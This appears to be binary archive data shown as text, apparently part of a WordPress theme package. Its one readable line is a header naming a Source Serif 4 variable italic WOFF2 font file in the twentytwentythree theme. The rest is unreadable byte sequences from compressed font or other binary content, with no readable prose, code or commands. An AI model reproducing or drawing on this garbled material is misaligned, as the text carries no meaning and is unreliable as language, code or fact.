vh9icps61g'P0|#?46N{Ŭ|-YؕtN}R-Iz?ͦ?,8WQ 'PK|f-:W>mw 5[/`슩z!ԝdYP|5kQϋCC\df; %.J:ic_,'ďdćd ĊOӪ>[>疹V2V]VHwi^b٣G&y'KSld6YL]0c8_rJKXRO0 %[mӪfQ.(iW{^U_.{Gi®,Fo3čTC+s|,zhR]֟Y۶/izhO𖥌Z9҇C:bLF0IS A1_eс1A0#*M߭ѝ"ɐ,6v}E%Cǐ8\r_o.€! K>덯hTFM".0_;ܴ?c\|=yмZS@-0cn}3 HɒhJSJ<__'֮ӂ`slc/O[S? ?măs57:#,4+f C]s]` [H0.D9%'gu1Ԯ>8nz"'G@r5$R#Q:Ym0M]L$Xzw b**c `U5L^ :<{!l9AxY nClұY;{1'AY6N0O`G]׿D&ǔ3k3wb_/W_Kˉ=iJ) {p#_7RBo"k{cVbL^]Q\nĠޖD_ {JiCC]68^kw03)B> )s=#͓p9ovJ7=_BVe3I,<86s&T)"_4oQ7pp}3V6XP-D)XW7M usz{|lڐVVHl2xΫ¸~o/͟tVt@v%Wq^ټ%A\m;AԴ 刿g֝|?Bo0YiZ&Ƭ:O=Rˋʗmފw*f:*{e1_H#ۺIܩ}&\9·NYXglN1D3nLY])igoQ}"jϏtHNԤT,CLFva_/nKh&Jt^j.i4 u;%GO\EaA21/3Cpb6?@N) ~eu_˅ ~HTadO!WhLXЀPMN*}<[ZOi#,6\nvG\ʺIl q4(KpL1"5/i%yq>Y6c5H'c-ȸOC&O2rI xw#wHחMںc{<ѶteIUHR{ʞ>"nT] TL^|NfN$sҙ]`iܵ͘ﱡW<̾꛴ 5=ޫ0\?a~OmrC`6cd,l7Q̓xvqza2zAJY*zWMX'-g> nݴ7g6"pGO < ~v_(a<%,Uv+69^ڢ4HIN*jdƗ%$} " ƿ~8wzc&fUvݠWbpcf:YTyECfoK;9SFRX{~v:1A߽Puǜ{AOBxLnyq>ؐxy~p zL'˳uww+_:s&oqs~XD!=&oU aAgܧi 0^,s s (Y⧿$&zɻo׻/d˯~`#\H<$\oW >0c{]YV@f^Y@{UyCf`{#^@w.Ζ ũۗG=jv{W,ÿT<}]%~Ή{7>pHd P9犋Xh\Pkw;t]5}_><9vO0}g8@^PNՄzkSr ,s~#!oY M`+Yt)o\EGOv^NjsP*>ޟ㼪0k.>4 /-ᖤ$KȠqW)=KGi9G{MI"A6~챐:2LDlc{g$B5K ajH\@;BZkwt.o#;$S눪:X]{hZ._Zr&=qWbs(ʗrКĔ/qm6s>wk+ăskx>'d6γ⡉)Um'Oou碷z<>rډk ޳\}h7 aΩ5~ljlcyhO=H"b./ip*g$C} jE;EИ56Eq>_ DГXͶ/fBܮ!!YSlz`$*隺*E<=ۿ*!m˪f5\9hلxl'-"[/Q$CݽQD.؀KcY)D +ߖ 2jvqhhJr6 7[tsV;2eŰv VH<n.0@Vx$X.?uZ]WكI|=}z=QT>,q*A$ihCHhN_EBC!vc:x1"2#R5Ǥ{dD )nbm~51$("Ak|rH^&_NHzH8c~ 䐝i҆qVsdW):sBfqVcɸEHg #g8q zh>F;lk9}(+vJ'",nəcH@cm͙+0rp*U5pTYb>8}PioRRmik}p80%^P=zDye=͏N(C|q,2JG,W72nWag$bh$IwA7T %trz$2a=lu [>R?ؼLoE@wOnAh_I ێcj^φUCCʗx3 8*bhVAߎ(yq\=!-lu4%,_LS&'K /XQ_7U5TEinǏsCbjD?].y)7U:캓j߶s00 ~*XQ4~gxwU Xyw>˿?׽z1:WCP7tNy؃:J|quδҫϪEr͹I)v;T# ;:0txj?  ]ԟYBNϪǻ5(98MGT:H d;>hDqdniBxzs[qFnIˆ2-oo3,@bѧQM!YJKG$qzN<..s(ԩh546y|Z9qXyA;MC2V*1='> b##(+7g Jo€$*}xjVttspw2D }e< F:דuͫ4Ix^eQyl6'ҝq'ܝ2*;ź9͗)gGN?>om }}/ݣD&: \0fw'dЁkvDCկδ')Pm|'/Ҳ5eUX} A?>[ejdhn 챿3PXmzLe-6EOwܥ&5)WEA:g_BpJ~YG2)%0. yf>vZ,\Be_;0ZDn R)kgpwa<:Z#^=ohZYLZ *ܧnّ`1ew) 9bT^[ /ꊗ[rd^q9Xƙ}=PRAI0ÙƤL=%u ; !6rwTp|(f}5S+*"8 _L?'8c.sRoiXMw<¶2rՋݲR$ٯ|7 K'*5Pq"b!Kim9#aAoϩxG+Mǜب_<{a1`Mg'Ay|R_,B^Ӏ$kW }ZˠJ7hZt 5,}7]k_j8B^.ebqf9v$z[Cd/6F6RAK\5Ikr.odyJx Ӧx*uxeͷ6ĠjL`c>WnrC&;CqhNYgG]ѻ/TކhzH>J*x3(-͋jPDoB3:ΕW]:טZ`r bg+9*jydkZMW7ywb/rit裾2Y %[ FbtymO*uj痣8\D9wҫ[ޕ9|dRBkdB!2 X|-`L vJ(s>`n Rr8-\C~[@iqt'r@,c!ȝdahYq*{;B<;hQz?r$\?xd)1+?U69ohv&fYV'Ļ<Д5wQM.-_-uA`ki[v5!]//Q*%) "g]WR40gzMɿ_^ɒ@ ~Y*wlG3x5 YYK#~'QW {QiS|`|Ў1R/qzdxmmMؤ*+!] q#T|89\%Z4 r:@WKS4[e+L;9@b͍nߙǔ|`;efń1xNb-;7-QI˻MJGơZkso&1.osKʲ'er?<9czV]*Fv6iա @s-V*ak|N4$!CمжI؟*ȔRSV7UZOj08DRxyoE={ yEhC)% Zq>w7Xgi;=JbO5lW뒳l5"OE.ǠɩNQlԨp*6PCi.|>IYܙ55s'Yknոz[YDSC*<XS1{.=Sh1V4^:eY6#L88hH!3`TibqcV{]նk=U™DW㉖R zXXc.Fغ)k^tSv*;u}n s)u`u.VąBI8v^=_U:lҏ`E:SeK*DZ:)<4"㔒fΆW~q_Q, JeMEW Ր_Ic81I[70S %*AT]yUNboz_6إDgY2 L77[y{%sY[3%zxz wGhsmA,q[P{T;T\/ӵ˗IrWCjUSp#~,k̢3X|"eϳ TU@j=)kMROٔ԰6w7t}|z$(*E54kXA=QXa_[ra^Z",RJtXZ"+e\#fysuI*LrԼޯ.*V;5i§3vt["5K*x4 î15ͦvO$DĪ֘`d@9~%5.|S8{f`m1.ZދVT TGſHF3P`"a$0},.>ܐ*SQZdJ_4>,#lِQ_5B"Ⱥ?X]LY/XASհLFRVY_R҃/=:+qt'*Z}roXG{VͼOzSD:'Pth (q-zYVt-Vl n51['Z9KxRZY{AA-ZMz7w[7)YB1Dg6mrvҗ-&]AQ.;\7>{/[=% mbF aLof+dǂ?ok̈urgU=b;vE}u(2U$z>7`_2|L1(`9x CW`E%+~2Q }ؑOQ*sLktRZULE-EXGϺo{b==JE})2pd~64l'3zJӗM -bwTi-ER{_[d+d"ŝ!״=:p&Yʙ><+X  -= WK0fA^C;+hw~Vd }ʿмTd0t#99^IUEWHI\D~mKjrejn -ʄ i]7mسdhG2frG:a((J_&~BT9T8E*dU5`/1Kbb{InΔpA4wj61h-/ ڣONemxz|Lޢeܚ_`~^TbFYW'Ai$b[P;,"Ҳ"M#>Cv>#g:-PJ F4Ty7q(MWN(.jTl {B$,ȵ=!-3S5&m7`, iXeQ{E_d [Tk֣ `P]WN%uGwhM0:58N;6vނ3EJ\3A8uhĒ@a:ZE)3rm]W;a'#$-ȸeoPLkPB>K:Kja-5gfbCh є20t 7 >m<<# v30( !$R<-I~(DΨkGfbChh;64s20t #%hr"@Ylh ;y)XAכ*S=|#u78^?yIфQ=H.'~'̮Z_N/Kthemes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2000064400001043350152335264760026472 0ustar00wOF2OTTOF "FsF?CFF2nlB?HVAR\?MVARB`?STAT\'0X/\6$ [ acщfUQ <*v$A# H7kDWj.NQhXZ\g Z(ZsFA[9..^H#Sm^VL6_]5i&xA-ܬynh]t(G(!{z@u(UEw2BA<>xɚ-W|1^J(cAGL܅϶.|~=ˍpK[!Ʌ g==ɯay7;\Tꅺye~Z:k]U2l辑D w= 0D)S;{&?5d{:Zq>o/7!ohECwYs~B3dGQQn~ \?}Pp_3>N?cB|dbOWKl~in33#;>@$ξ1Rq8]h~~C?mg`eEY /HqA7|YYuClu 7Pe7?ns4p#4ҔIcp[mbGV{ׯ酕#VT`۸{A|<}4fzM+{;{+[+lHNd+-'"DR"剔 T2֟{5DMS'+FkV򒮅# 6Hz{Q Ю}hHDn=ط}]4%Fea)*D{Z> lg #A$ p/E)Ĉ@^7LȸZ $C$e$** ^:wup}Qzծ=0eUb$) ~$ 'D i'򠑣#Խ -y#A6J~PɢV5`a%B!,Z gE ߳U |HX+kZ߯h2I6Ď!1dI,5ZdٖcN`w2w: t!3f"It@϶+cTky  Č ⿻wSsṈ~D!@D }Yql"ZȬN .R Yܞs[Z9ƝctGva}+Tn B`1=q%X &)T9bOfRGrheH.KՀ lje|̣=-S}//; 4Xb I&9\PҴk묑^esOέiSHQ "zB S嶃LvooV___AޙnwT@RI|u (2"2#"# e TUPm^DyY_ @NHh\x&1j )r(99IK$I.Ir%I$I$I$I$I$I$I$I$I$I$I$I$I պܥΕ+CIٙ3Wr7Bg 9< q_i_竻$?dh lQYʬJ th 6PYŒ,PVL 6IA!js8Yc1M|Ѧ:`!ݏְmeVMMw׶G"v6MjZ H|H m&ݻnϲzx{mZlN-W9 z$$H<￟Z+㭀.9`K~Ͽ={$##c$Kʓ1>N?fj"⋯QȈK0Y}M CiJGe)@(+P~-gf3lKQSk&?ewQt$:W])Մ0&C,Z+Pg޾L eYUOFd& 9;,`/Z 1a,1cdh(;8̙Yھf"CMQX+ ,k9,e)o^Х# !01u9;7ӟa ˆ`2e!Pfߡ,ݪ$؎I ""E!"R=,Vt+mSU=>g>$DD )ij ADDBh¤ayduׯ7@@ݣ=1ya}j}nΏ T%z ;<[:.d#a&o HO?~ѯg*U5Ź}utܠkWT?GNac&LٱǐҠI'E%Wn=TARB$̣3?#H82l9t bl2@I*X+:E6#}x2*eZϢ9b8=)j w1RH",p6B4מ~ɡ&@&{ej0l[$)"\LqV6] CG7i f”pB9{'r4d^ª`1+D"}.ˑ'H$PWAJuw)$.&bt9 #f( I4u id/R5ΥOXLWTmd{E>r4LNt`㝪u_ky 9)1 Iy;]+DZ(AWg+DrF,J%:iIRѨ|ai2WWj 2!Z6녢&xP 9yjcH]Z3s V.u8rՕt >;]"B}EɷCG'qfc1xҦ,;RE[.{c[Ld[۟6VFk`ߖ] J7O ~VI9vr Q~];׬J.0JePY2:*|TXj.! D8  J)t@hYR Ԓl)lJSᠳݐ3u[£œ%Z1EB0(Ů~Pc.Upl"$٥ǝң->mS9"E$(lc,x qL'(Jb_594I8dj9&~6/9朘~ Bv+i/(bEqx` \ٔ^_qVUW7Wj 𑣿aXi>FJ[&ۥ:|+u=b݇]׫_Gk5i=ASz!%jp {M;BJi <޵ֆr Tհ] =!LyQVQ5 C7:HQˬ a$B hZg}B?v_M`߾Z?d};$j5Zn)Ħ[䵳0Ǐdж2Bi5{#y۱ -BಐHR}QFǡկFa~4 q3LOC;0;AHjdsR_O)@-_8+(}1.Rt!,||U[C|` 1nQk5- Y7$Rb(h q+>pOcgpދ>jć7T>UVϝ_nޥK?Ǭ/63d,Gc~=q.ouJ\yARǥ??Pl#L߄u.TnJ?L[ʑ(Wcjfw>7~GCsٛ1 _:>5kz|Ct3-8#Y#׵{ze H9A (ӝ@8y%;V`_)]a FkT.jnᵤ9otXX7"w,~D7eS޻ɍGGT7lAeԭf +3wmMs3^21+4BQq2Ǵ!͊`G^,cǝ7t*ջ24LE#_xU'sJ u+3ψ:6(4òHTQӀ[ޚgp-V%LV{+^|27kFz%bºlfl+Lnn6?хQW:hvJX\&(WK5@h/iFo]}3GawN}K8 nn?-üyowDwt&u LQ 70^oXolbF*Dx xFԸ}LyI!D<"b/7|lۖcJv4{kO[_T=~zƞטּC{yI#mo,KaU1 wė2Sjsol]5zlk%vQ7#D4ыtg>o}}9fӇN\x*~K?D>6Z0d(O.*`q[|692( }2x:q'$r"^G+[z~AK}oMJ&j{UZ uhF05PF9Xt3ц?5_c8#օW<}'Jk0` pyY' Lm_?◸?A QJJތEOSP!ݢ5}6Sx=O"(D-hr.Ӑu^c'x9;ު9kS;ۼcטaca@V u9Qyf2v;[߿mtoT,ƞJ(KN*Կ]cCG[ǃ;~2}{;2ubYOA!)-|Me^߀:VH n忇s}fG~A;9QZD9HEҨʄ⽁/^s_7A/ MS&KTL`ID&X% Z(Hׇ*g4dȜ!+.yJau/ #׺zs/`DxM"N}'R_߷({b4dz7gM-&M#tI|֚A~mѱCam՜iMo!,'?b@6㿭f0]}mu=ȏzD$Ou&K"g&= -l8KCTך;ŗ kR#p)(F xMjqr0Sn鵠0D,(^/#_h5 }@k;;ۘ&+{ef>o ,  ,I!+^w)Z-ma' u#[FE@zmxkr.4u\2[{Rt4H@}&@ L=޴–Cӡ8' 7Ew>]NkhN{r#L`I!j6o׬@*.eÀl|[#L3 Z@Fa fڽ)4 ԏ3446{S2y)Sjlh2eظkG0DtH-w@iTm::r>Fo~ifs-K8m3*]kqcaaP<`쭳YՋC(ۏO$܈HL%*,Ps5rgMqn9ᢾP $T,?T~1pJ@ 'hB_}ϗ7v Mג5*gvI񱉋[Q,?Dloܕ;Bs%cV1N#HFa"0g3iA@Ӕ td^O^מ_w忒RbP{dGOYdm)*~7=Z˂w7:PR ߝX.1xjHo.n8>)RhN@~]YR*;/~ӓ`n dq>|ǿ<]nSnx7Lθ̳ pOО@z_WDgy1Ktk5o׼_Ͽ2ce]ِ9&hK\ϢEjF \OlP`FxzXCrR=v=0nwŖH{(;wٓl.k)dmn:S-n)~t֥V?6H)YCHPA^:IcF,PM[UM0]m(vl:/Z2;RɐoO3Ik'ѿ46m{ÇR#}w6贈I7 oj^?By]3[,9:5NF[!1kARп⋴_)7"#$tPa3sm)JrQ.AfkXP5%}jh/"t9U,RvI5YO{]% e"شTd&qqXV /: 0x3l.UGo}w9V\'u~I}Ja[]j jkΡl{ߠ$QT2;wlq͟~*F'i,IbTS͡ r<c\CE, IN.C1L;Ҕav% ]Ȑ,ĤuYJXV7gkV"x -Dk]rc:7:cNYyb5ޮv}QG>M!?.zVu8v3[_~{MQYt=e}+FܚNGbjFJ Ibp.#T|;Qr3 qLEyfBFp'`LI#\t4;&ڭiql'̡#iKNOl]>N0i=SG:sz~ ;F<QOj[v[ʠF M9|-jOՌ_(!g g#a&cyGA14oM[_= A[!gՒA4a6ղqwkAƃ| [nC>w*da\tw{F^ @ۖ ( @ L #@3v$r(aNQW߬v$xk{qf #Wp ![+@1.ʔh(Xs't(i2V2{t3Qj}x魕MK8;W!U!&`ڶZy{IދVTϏ-'T~?wwڈ4N2inN14Ğr/PfcfaEIEtn,w8KnotM5u5Ɵ {se3ًu:.EU.Arv:Hga=.f N֡^$Y7OuhG(^wuheZWf2_3d[MkS$M7Gt{[ *_sc1_ij!rwk@&lN RN^T퓱Q%IByFE9(bPƥ3R! Ȕ2KcP@C>ҔnxTT6a7Nt3rkw%Z݁Ϟ9h̪q D2v `/Hb#pIL'=Df+x.|܇eh8:L0/XB+2aty21QK]FIy3,u l@{iDQr$C,Wl{Zi;x HTÿ]Q "roჄՈg3+QZk_*^-X=_?bovt@ _gP[0,JPF1!qCZq \FRNzYST[yRdUR6yoZ4:9V`ʈU[*Rk"+:MMth>ԐK?f9zӫԢ3eӚ͋/8q(*祏ӻ]Ѕyl\Ğpp"&(" gӶR0g-آ-PB؞fp>Xҭjѫ|GvH^ɦtLpOrA+eO]zw5x=s堡[@uE[$Rr~IJxjϫfgH]lRVT%G}?PNɁ/'$w\ٸ 26 +/tGC9}^4$1rVk ˓i˄3c D(;=b~HA2aZ99kkXy$=> 4<pH]+QUxB k!Tu/|<9Ȩ _ 1(nle$P?*lTK$]#=ԙY[`Iwqv;MmCN]O.ZhL0l8lp%:ØD?ӧ:RfA'Z_o`L68 x^Wr068HOxhGD. '_DN_=bH3楫CZKM$ ؟Pl_rgWW`Lkxi5+r<MuS+<_fSU32} b 6`{F c:lkޫwx2>W屉^Ru(cY1u˫3ml\kEHJ=֟y*_Tӫ+ESK-\Tv`G{b6t#aM܂`A@03V3bT)ӊ  #$egq6ɐ aMLjY3#Y@Yj%&Fۆ20JΤIGoђ`^}uzgLםoxq9뵝F{M/7cXr].+=nsA>շdO!W}NVv5kX-k_%}Z0l:D; >W*kM֠->K3Jl=?/^837GPc{!oc'{*R[*CQlA%^V?q\> [J`901O1ܓ|98°CЀtIut>}o֑T;W넭ʨxع  LC򖷾7*w[t~ar7C )Y]fπʷk0Ѯ@nXv_ww7ז_]~gU/lAJ)T )h#.Y⟳鰈D9]oN>4Pv<4äEG]^d\m9t 4K"Lw 9[MI j P!n[.,mLfՏr8H|-yR&-9I=!dSxt=ٿ^ܒѯ5V,QK 26wE%6q;8+'yn_1f *`_+ӁWh\* 0"$CJ 'C {(1udq]O۶jNf= >}qğ}r1h~ɹ7wm*u~4GɱK{MF4bgGur^ٙb'}E 6Aw^0)΄QF ))ajM,tx6` ,-堖g",x zG)1U~DFD=#:d+`0qp W2~[)3{ݖý 9\o[:7uW h;ddUI+SNٴ!qڿAUyg7{Շ޺ GL Hq@gM/6ڭ"~%&&zьu6oT]xN7-NJM뛗‡ ǂ, Tq[4w.F$ReeǪ"_;:C88Eq|ݞY4;%7]8Y+0;]QϨx ,ޒ+?0W?{e\C\6-n6wD7ZKVBeCMa:t :0AY&sH{i3uxwgR}~@xvʈY8 X۞WL =foX!cr_D X';)jU_K,E:d׃zu9 Q_%]f}GyAҡԲڍP3)&QU3{テ㛂'L@ygiw>aIG&Q]BP;3ϡU>F*uٸI@BJK.U #)$h*3A yT$N-Oh|Z,9y+ kFMĈdLX *:JOj5q"\ Ÿ犛 ōL"68(?Mڂ,0a@ټX^0aEs6w)#R!+Z1FwTPoQ}k.\rϒé_oMz[vyivx{aT#Mhi}JRp,UA8E)1bo@2b EFZ".2GwZ[Y/d]r= u,$80L.|3cHTtNL85M U7bqzl+ ݙ@v%nwgƴ$_ 4& ;j!t!_l a –ꝞgZDijdIJFUj 7'ke,OV+S/kJmU1?Sr.~AKEўHU-A>%:HtfRx2zLQ2%'Ep 2#(r)P2x7W)JFەn*3 D%dߐ2pNʱp0d IPDU(OTOixRGt/ʎopf >BAƀl } Z g_:ax#Mng1`aKkF姩:A) ܺT0 LZi+8\bI:;1q>{[Hp1v r%'2jV['7}5s1ߥφ# q3QJ#xH%I ƑVE؆ feH#`8",0 iݶ)L'34S]) gPi /ݹl]Vft.+7'!'=RMw6/ ( tۘ 9sqYX9M'/=|=]'L8X$$8sw0 lOJ3ZEPnܮbeUgiٽ‰ƺvo\!+ 7$ƺG;tDAtd4'I[2x!]dF(c&̈́t Sx;c6J1 #ڌ Kn&m=&wJ:o9AEGgԇP~Xkr@ibLP)$;S"WbUEK@W|f( 61%tׯGG9# p箑#~4"OH<*Kr4G݆K#8&<}&g, %@ %+ѷ\y[suBx@Wnh0 t0z!W܋뾒֑>YrM?/?dQP~>'+kTMhoMvUdzr_rI? #w>`/@5 t5?#V8{-?#KV'j@e}VB&}^fDp|i/9C7叧xQ56#-@9[*R XI$q0(N^K!X֒ Ήu 3SX Bj%J4CjkpWV`&`X+JPZQa2 IMZbn,W[:jOz֤F*+5Nbco~`:sr*h&<¾uQ*xA|4g{q|~-Qo@DTd흺z~,;@eo3 ._kuhU.ɣ Io-z)Cs.!iӨףm)A%q*4MX)N6j eRkdoȫF|l7$ ZS&w % 4-ۼ贒. YVP/{CU|8mj!v;:+bܔ(1M)i2}H,['$jCq(z; 8菷S f;(Msdr?+JNICb)s#^Qv Mqv{PT V; .y~YwՕ~&X,KZP5uZ c`9%e-ْeVk?VS`S[M0O|o?yGY†/g~҅q,(%)_<`Hgk`YL;Y6t%d{"?9ɰ퍧64?y\x֭~iT" CƸ$:>Fc v״5 Q2Ll!t^q˽CՍlN4t&_U)H&g6X|>F;ME d2HIQWbP?a|YPϾVW7!^qaa]`@-Lz=E+F Gd%fW#J.^:C3B**VkzVbw"eԪ {mikFN L;t_DKxz iҖbN#x`` k\okcΣj'd^=YfŠ;vE t QlM h4WS~M cjG&dgg / "l\_\'m!ﺽ:E\w;ƥ{Nt]mv'uѲ-VmjwB _sE&If!DّüﳫS=sK&lk:{Q;,oN@'`[UN#^=QI.vb#M/yuܩ_3QMA 4FnI zn] -DH@aRM!%[~)0-s["1 H ;Dq'ba|6r7w_Q%. ʂg\D65Nk|%z?#Re(fw7 ^v+V@+lPꦉlJr< t%"X!*@(U s[xv$7HvFGkfTUs5&0N6j;pFU$ oV 珸n4?6bw v6z&+*sIxz睳Iǘ3z37ymZ̴bJcu4Ɏ"ͲC NttNt,^%?4';wGhJ)(5#eY: 7_ؕG?ty[޷BRESI$:AL6 lIʈp^R6%ӊ#xADɾ_޾7]YʹJthٝH ľLQC FR]Dӛ[V'Krɦ2@Q8 y*kcu/|oJ cɡ(4RmBҨ(Uz7!I4dJ Dp05POv. H$ڌ>Q1Xט_{l/ބ%4?ɣoM>L|~)꽄)ӝ5v\~EN?,X7 @ٍGX]i-זKhX['HVnǾW;=H pf."'!'?H8{bkh)~h~3'$ya^CCq3:Hqo82Ǿsaê6$j1à׍<7n欏!e2툏ILd`5Jn8gS?<%jOBN{r;zV/i'n8u(/=inh?B:pQ) (6)?>Ѐ"Wu;ήi@@ːW{EB9#}Ҁ'%G9a2[| j@ߍÆϫdr ܤc]NKd3ɦLNɞs@֐&;vmr>D+)tQtIdyI]=RQ3ګ2L[p }Ie죚``sWI2 {w>cQ#[ {44 &sGYFj]O;q4}{#<8t 6#_yGs5q5}?N\tlk4YbfpLd@D4vt,N̂yDѠDLJQv[+[Gi1[Q 9,"hgeDžY[٥Yc/R} SD}s~4uAU\C}j/_^'W/5GP'rJ?޸rmb0a%VJ0OO@gp&6G.%;7ӛvW+hŖ| 8}U-ԋΗhݲ8Bk&{Q/PY~!kX~b/Sc͜e([2 H05yw=qXSb7_bb֬0$}Yr$1jTlsᚤ5zOBQR@WU7ƒB'` rWL@ݳ{jGlQ{.( y$DŞ6c1ƂGZx; 1\i q';&ɆIDLf//:cVƢ O_L 3#@?W?-#l+jm h¬s?%/v;]Ǎ0v -*7wn;N3PK3P n M'e~\dয়ʹBjXy*Hl)*n0-- SKhc43k)\adY,sW/F1v2UքSW`]PȚ$LS\C3 :eئJ剣S}sEŹɷVy 'u8AQHv4M{vG锂C*=k֋Q$@NrHm)uq.qe{*bB/N!EP m-! LdfMjq\M5O١ dT+1H'X,vE+$3 :zl{x&ȅf1iW@XSRɐ!@ds[u~=,G%^̴-5: >qb9upH{~+(#U)ՓC؛=\Rjyvp|O0Ǫص6i^lz(%q;Ӕ3dLEqAs?eBEF4aЧ8}B nʙYtvAGmu 9RHzQPT\[EΕ(ݖDs[?% ( PP"ZY|(\1K$I IF_{Z~\*&Bn StpH}_úoQ@+fd? Z6OFâ/+.ՈiRHxB'2Qr&?$.fF:\&"f Ôɵ6T4/u()GCH5rcAMs?48+F!`|niFrZ @]!Xk!%BEjB.f $Phmۿ=97; 9+5 '*Eͨ$L*NjKt9Dyl ݰ;<]8?Y=ÄrX\ؔ)qrbQZgmǨyn!Fp/5WYyY­H-y3"fKڀᄇ㱷 ۜze$%7ig*KJ)qLnj9b{'rT#U F e ;{:e$BN^@x(01i.c@bTMuP@PI"foږSAM9!⬋Peי?)M[MSdqW# "B0$CQHJ{ W]=:h$I& P<Fhd-A4as.%^sXhBFg!'$ uV,PǦo>y ֞@x ' _|y˵cJEj[@'m0v*#;^UuqDWWE'Q8$|aN MHDhovbMqt!ϷvQU%-cܽ~؍}WTW[F-¬KF1) K6D%e,dm1Y8&ؙ  2FW^yF5>_Ea Gĵ/ R*#Gn\n7)ey\ȣ̏o^}߶T6i3ɾ֛>APa,yQ).|q$imG 0jq`zfpe3s{ eEn6HoX{⍆$oMYBݍa2 upWHQưe.O@UKر~WF\CvvJjF7a\tt8<Z}L v0k)xVyEV~o.[W4#|ͧ/?4'lI@VYR̻cV` \ 8RՍ5$o/a52y )J Hf0:'qD \Z9%<'#<*6|Z.l!znoަo9H">*0cwtF ] \yɋlTUŦmϳ/ p؀]jVlA^H~n$jP%td#$oOYrDl@m?eH6a$ԯxُs#jMŋ>Us~8j%!}ЦCDw,Hf,+ŤweۥYO_UWC3.5NWbe᭖?w0eRm*v iNw,C-tY :DeB,h!8/^jfIx4PwC/R/'s/.dq]- [lyw5^|¢Zj0 N6@VlI5FaFzp̩]~̈́T[Tz~gt{G'`1LEnu%vn_չHM'@?Au+Uzue5^dx}a!Y՛v[={,.ᦾGU /z"y&xkl3ݴfϳJ xl[SNwo=2hZ@e.v"y0H XHፔ?:@41H@;GdJ&1R7G 瘩7A;n\wY}1j- 0/p~xqgN+Z|y|Ly7c+;KOb *=Qo7E'>IKDIk1wh(~SОcCG9n)C˞j!'B`4UZa/X>]m3DhJVM#u14$WY){U򢤾h:d;^K$r r܏xg e"BQ*"XكoI&fx7*wQv+~wB']]eHU~N_5cAkwEnzqش~v4 U̎@H+%X)~uS .6 ynq2+R;؋y44嶔톥+2~r!6}s J(AV:PՊA&$e-ŦYB׬$%Ns)M7ib䘤@Vy̋W S UЃBq2ȫVQP.ԙ7o#4_ђl#S ?{fZR4 $CеZsi{Ds(8b&<兼az$ I1 @ <'YDV43ϱR#6G@ayuUW=Ӄd?4՝lc55Qa>65)QFZVw`}6Aem -oٙjC7`Jٿ zIVyv ؟rl:XٶR%Ab]z2 >%+ku^5Q)~XnK#+ H|yt]{<UC#PHn%~ ?o#fv] ͈SBE:H93(=육y 2v^OxS륙Nx߿!ЩCEbcֳA(Qt/4Q=6!|>$tNrT0^xM`moP|  #e| &'۰D{HQfTfMGҽhnTC|Ӽt2po8D*9J;j&g}^?\0|{&Hhd&j79b܌b *MGm Rʘ W#E 9b^ 'ϼAJx Q;v%J&Y4I*4g8X8\6a0H$sMq{L c/v"XprMܺJ&벇R)Ypy7t=냅ALjEzϠdJvndG?q?kNű2YNxmdg5)ZNaO/ȶ %㋫ZT& sgwYY#/$v:)2aIlӤI{竵^V@"ODYqUY7 ʯZ VQx9TGh;B2X:ȝrͽ}ȡUoM'\Uj-l6 19zkң?Vi&˃˃EnI #Mv&Sg ?Bz_csЀwdY7&ŽiZ5 kS2Ju< iݾ(Gĩ$ڂ2!" TյeTT2+TR <45'߼,?.,ū<ݷyBUY!*ËN?Aţ0Mdʴ'[mL; e޴,'Ms&fG:SveٚNf!9@eIClc1i@R09r#13 b!2oG3?ɻ~3֞)=UyW;RiGyJ'br3J K]**YXE8"lLl9R$aW1ȋL Hn:!*g4g) ĭ;JGۡp;lQBڮn/^r x]4 ԃi UDc3T#oܯj%*(_@&w.v?_#"ռc_>77!:vhNs It3-=emG%q,vnAnVxɸЖW_߾m=CnOOGi5"M?,/POn[8d811rhrNQ)/z¼sǏsnD95V&4.)הydYkQ2Y@zO硅-ҋ>uO?[-|*ir@Y>L6׫R:nx3CcF&tlƺ$ J(c,k*ndNy˝Ey?Hu=g5j&CQbԼ.c1Pd8`7Knܻ\a-˫gʇ$))!uQ?޼z!DžVFo8mB .#-Yx?bl. 0cHR\֌Zok/b3aiJraJ\+"%u狡vhnO9+U09Pjj1m?b<.w]S398[W_o}^~hw*@{vx= )5|@txG^ ԭթvp=Lĸ٥>ֶThp>HhmלD-ٺ`B[<ݠEN sFD(nQƲߗ+O'ƖU;4qt$/Г&RVŝi.[:n/y懩]X333~o&.|2MvBsxk({W|fY9͚Hsk -Dzd#%/j`8~:'w<~SY=^hke= ٳNM֖Ⱥ` 6/:j=|%)-6r)H6p{,ZH9;hY%ϔd2yB8Ձ;Ќ7vMH:VU#>ӡAGk|_kn=MĞ05|L$N$(-+=œ*J =4\I|/NMRURQDn[W9TrHhq%Qps 'Lh%4m/q K" s ɁK1Nb̋"V Jc%U W.0/J%jPtT}3L_5Tj / ", s*Smn~B9\:2YV]&S Z9Wё+JKh'zv6XA(R4.@z;6~Зgj8̄}5KAUb qm}xU``"!'G~M N* R>IKoHe W'd"3vvCHA8@yT-I QtUb{"śݝ'ݓ(5$Rėu2ɋ: f:W|48S .q*Ȕ3jePCAt9.~lӔi;4g{Fn8{bC@ݖ7!IvȲ]T8p{FqKiK{gFt$ ӇW #+%ٔ<'TJٶ!W5flAK,B9 nJL#Yj M"{641iλW³$?b>\4*0kHdHw`A@!&닱fs:%f%6O)$ @U!?wzNb,Rp'Js Z\P7—sUȔ^8{tZѽqD+ec[6 E 1yb}1T-5Pq€BQbH! 85_zdK+-Iבx)Oĕ o '*#F/Xv#`☰@zRxו~{)uU𗽛˃[I*#T8R&Cm$)atT&Zf(C$IKgE.L;څ%8Y_Uᵥaf"8R5PE˝4oG(NL^ r/%DZwGbk'~<?}@ZPh_U c^qf%FLLw  ϟuJD$3.UY[w?#\1^Qըރ$;ئ%9%1)+T{ڲn9@xCyK 416%Xt 3>={o&>k_us} [LDյ"8c̦:f&3ܲK]?<`XM/j^܃Ww}z uFNw_u-xbJ';2'A ؤ!-N=K;LIҫz<ׂL]A#'@V J8lKRJnm5ĒPdt#d' —C <,bKKċ2fЯ&8gK\ـoo'jMiklZ߻+}&.G&ƥfsܐK|)sgpy[-~{l"\g[_XĀgK ۍsgr^׳Ίg5?W?4'mL8'0*`쒰|O8CyoDzĹn_AßpzL3ZlKj"`t@W&RU5ؿ癶KKVFthքs$44ֲ'0 l:+wp8Ԁ&{f2&%W,a eͩkԖRvzQhD!ŀ#p!)!l&'cQgrrPxׯHoi'‡C'bL\k)pb9& KiA:8:ZQ;``Țؚ%&lϧ=g ken 0R @tSɫcUa739 Kּ"/{$f:1*&ag]]jD^̸Cm=m\봫2䛫K=Zٙ6a;N]fCш>y\F( 